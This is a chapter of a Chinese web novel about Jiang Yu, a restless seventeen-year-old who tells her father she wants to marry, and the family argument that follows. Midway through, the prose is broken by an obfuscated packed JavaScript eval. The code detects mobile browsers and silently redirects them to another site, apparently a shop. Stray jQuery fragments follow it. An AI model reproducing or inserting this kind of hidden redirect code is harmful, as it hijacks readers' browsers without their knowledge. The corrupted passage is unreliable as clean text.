15. 我想嫁人

作品:《死皮赖脸乃第一奥秘

    江玉近些日子出门逛着,总觉得有什么东西和往常不太一样。梁庭柏忙着读书,也变得不常出门了,她觉得好生无趣。


    以及这几年的秋冬季,不知道为何都那么那么长,长到令人感到疲惫和枯燥。江玉不愿意听村里人坚持不懈地给自己说媒,于是也渐渐地宁愿窝在家里。


    偶尔会趁着王昀不在家,下山去找周娘跟着她做些毡帽护膝。起初做的不堪入目,过了好几日,也仍旧做一个毁一个。


    好容易变得能看能用些了,就兴高采烈地拿给爹爹穿戴。


    江伟光很高兴,日日夸日日戴,甚至在刚入秋、暑气还未散去时就要开始戴着,时常还能换个样式。


    江玉则连日连夜地缝制,修改,再缝制,终于赶在江砚进京赶考前送给他一套用以御寒保暖的狐皮护膝和羊绒毡帽。


    想当初放榜日县老爷差人候在龙虎墙前,刚瞧着本县学子的名,那些戴着大红花的锣鼓队便牛气冲天地庆祝起来,簇拥着江砚上了马车。


    江砚的大名从此随着锣鼓队唱响云浦,成为无人不知、无人不晓的大老爷。


    有人说这名大老爷家中贫寒,为人清正,年轻有为不说,模样还生得赛过潘安。此话一出,更加名声大噪;源源不断的家宅铺面、土地田庄上赶着被送到江家,江家一时间变成了江府。


    但最终江砚什么也没收下,人们开始打上江玉的注意。


    做不成大老爷的丈家,做他妹妹的婆家也成啊!


    江玉自然是第一个不乐意,江伟光也从不在女儿摇头的事上多说一个不字。媒人被赶走了一批又一批,有些乡绅甚至亲自气喘吁吁地爬上山拜访以表诚意,都被江家父子好声好气地劝了回去。


    纵使兄妹两人如何天翻地覆地变化了,江府却还是从前那个四处漏风的小合院。人们都说江砚这样的才称得上是真正的清廉贤士,才称得上是真正的正派人物,因此所有在职官员都要向他学习才是。


    江砚承载着所有人的爱戴与期望,只带了江玉给他准备的小木箱,远赴京城赶考。


    江伟光的书肆生意蒸蒸日上,甚至那些囤积数年,老旧落灰的物什都被卖了出去。


    江玉日日去周淑意家找她和小沁平玩,每月偶尔空闲,梁庭柏就偷偷上山带她去别处逛。


    日子过得一天比一天轻松,一天比一天顺。但是不知道为什么,她一直高兴不起来。


    发生了许多事。其中最轰动的,就是她听有人说瑞王复生了,也其实他当年根本就没死,而是卧薪尝胆地经过三载春秋酷暑严寒,终于从花天酒地的闲散王爷变成了大应的功臣,百姓的英雄。


    皇帝欣喜若狂,大摆宴席之余还不忘免除了一年的徭役;大臣咬牙切齿,连夜写酸了手纷纷上柬,势必在圣上快要搬空半个国库赏赐嘉奖瑞王前阻止这场劫难。


    人们都沉浸在瑞王的传奇中,兄长悄悄落榜了。


    江玉表达了鼓励,说哥哥就是不入京也一定能鹏程万里。说完安慰的话,她继续坐到门口发呆。


    她觉得日子真的过得好慢,又好快。


    这些年发生了很多很多新事,也有很多旧事在悄悄的变化。可是为什么这里一直都没变,一样的宅子,一样的生活方式,一样的同伴和家人,她不知道该不该感到疲惫。


    江玉被父亲和兄长保护的很好。她从小到大没吃过一丁点苦,没受过冻流过血,也不曾体会过什么叫饥寒交迫。


    除了四年前江砚重伤不醒,她没有掉过哪怕一滴事与愿违的眼泪。


    想到这里,忽然记起兄长的旧友沈公子,这么多年了,不知道他还好么?江玉觉得高兴,因她又想到她儿时竟然在那样冷的天气里将他给救起来还带回家,实在是又胆大又厉害。


    只高兴了一会儿,又开始发呆。


    周淑意和王昀成亲后向他学会了打猎,如今已经成为远近闻名的犀利猎手;梁庭柏从前是个小胖墩,如今不仅长高变俊,还考上了秀才更加勤奋学习了;兄长则一直都很厉害,成为夫子后又变成举人,虽然今年落榜,但只要他想,一定能成为进士的。


    江玉呢,她一直是周娘的好友,梁庭柏的老大,江砚的妹妹。除此之外,她还从十三岁长到十七岁。再另外的,便没有了。


    江玉又想不出东西了,连发呆都发不出什么惬意的感受。


    她下山去帮爹爹的忙。


    江伟光虽然不乐意她来做活,但到底见着女儿心生欢喜。他不愿女儿劳累,便提早关了书肆,领着江玉又上山去了。


    江玉埋着头走在爹爹后头,一声不吭。


    “玉儿,爹在书肆一个人能忙的过来。店里的活计繁琐,人又多又杂,你听爹爹话,明日便不要下山了,在家里好好绣玩意,好不好?”江伟光哈着气,时不时回头看一眼。


    江玉沉默着,没有回应他的话。


    “我不喜欢绣玩意。”


    过片刻才听到这话,江伟光有些意外,“哈哈,不绣玩意也成,总还有别的事能做;爹是你这半年常在家里缝东西,就以为你喜欢绣花。不过你那些毡帽啊护膝啊做的都很好呀,爹和砚儿爱惜着呢。”


    江玉说:“那些是特地做给哥哥赶考用的,我已经能做好了,兄长暂且用不着,不必日日练习。”


    江伟光笑说:“不喜欢就不做了,咱不缺那钱。”


    “爹,我并不是因为喜欢才去绣东西,也并不是不喜欢就不绣了。我想绣就绣,不想绣就不绣,与喜不喜欢不相干。”


    “好,爹明白了。”江伟光打了个哈欠,“你喜欢做什么,和爹说,爹都给你弄来做。”


    江玉停下脚步,“爹。”


    江伟光转头看她,说:“怎么了?是不是走不动了,爹背你。”


    江玉摇摇头拒绝,两人继续往前走。


    “爹。”江玉轻声说,“我想嫁人。”


    江伟光立马停下,“说什么胡话!”


    怎么能嫁人,怎么突然就要嫁人?如今她还不是嫁人的年纪,识人不清处世不精,怎么能早早地就要嫁人?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968558|193311||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你不是说,我想做什么就做什么。”


    “这种事容不得你胡闹!”江伟光头也不回,“别犯傻了。外头冷,快些跟爹回家。”


    快和爹回家吧,回家去呆在热热的炉子边上,不要在外头受冻,不要在外头吹冷风。


    爹给你生火,给你煮热水,快和爹回家吧。


    两人沉默着回去,江砚已经做好了饭菜,热气腾腾地摆在桌上。


    江玉扒着米粒吃几口,放下碗:“我没有犯傻,我就想嫁人。”


    此话一出,不等江砚反应过来,江伟光首先砰一下摔下筷子。


    “嫁人?嫁给谁?你莫不是看上了哪个混小子,上赶着要离开这个地儿跟他过去了?”


    是什么时候的事?是什么时候玉儿忽然有了嫁人的念头?从小到大,也只有那一个人了,可惜那并不是良配,并不是良配……


    “爹实话告诉你,你和梁家那小子成不了什么气候,人家也不会要你。”


    江玉虽早已做好了准备,却不曾想到爹爹会说出这样的话。她鼻尖泛酸,噌一下站起来大声说:“怎么不要我!我如何不好,如何配不上好人家!”


    江伟光才知话说过头,顿时懊悔万分:“……爹不是这个意思,你莫要犯傻。”


    莫要犯傻,也莫要再提这件事了。爹希望你找个更好的夫婿,而不是在不值当的地方费一些不必要的心神。


    “父亲。”江砚终于插话,“还是听听玉儿自己怎么说吧。”


    江玉强忍着眼泪坐下,继续说,“我想嫁人,我不想呆在这儿了。我已经长大了。”


    我已经长大了,我已经十七岁,再过一年就是十八岁。我不想一直在这里,我不厌恶这座山,爬山也并不劳累了,如今你再给我打一辆竹车,我坐不下;你要给我聘一辆马车,我不想坐。我想去别的地儿,不想嫁人也不想成亲,我想做一些别的事。


    江伟光说:“你上赶着嫁给人家,读的圣贤书,都读到哪里去了!”


    “爹,我没读过圣贤书,我没读过书,没上过学。你不让我去,不让我去……”


    是哥教我识字,教我说话看书,教我认识圣贤,不是什么学堂,也不是你。


    “玉儿……你幼时说不想去学堂,爹便不让你去了。”江伟光说,“但是爹这些年来对你不好吗?爹从不曾短你什么,缺你什么……你为何非要去外头,非要嫁人?爹曾与你说过,外头人多事杂,爹不能及时在你身边,不能时刻护你周全,爹不放心。”


    “况且这是你说的,你说的不想嫁人,不要人来给你说媒了。玉儿,你曾说的话,如今你自己都忘了吗?”


    江砚放下茶盏:“父亲。”


    两人不说话了。


    “玉儿。”他转头看向江玉,又站起身收拾桌子,“成亲一事先不着急,哥知道你心里闷得慌,你需得学会克服,克服那些瞬间。”


    说罢,便捧着碗筷转身离开。


    江玉看着他的背影,不知何时已经流下一串泪水,伸手抹掉了。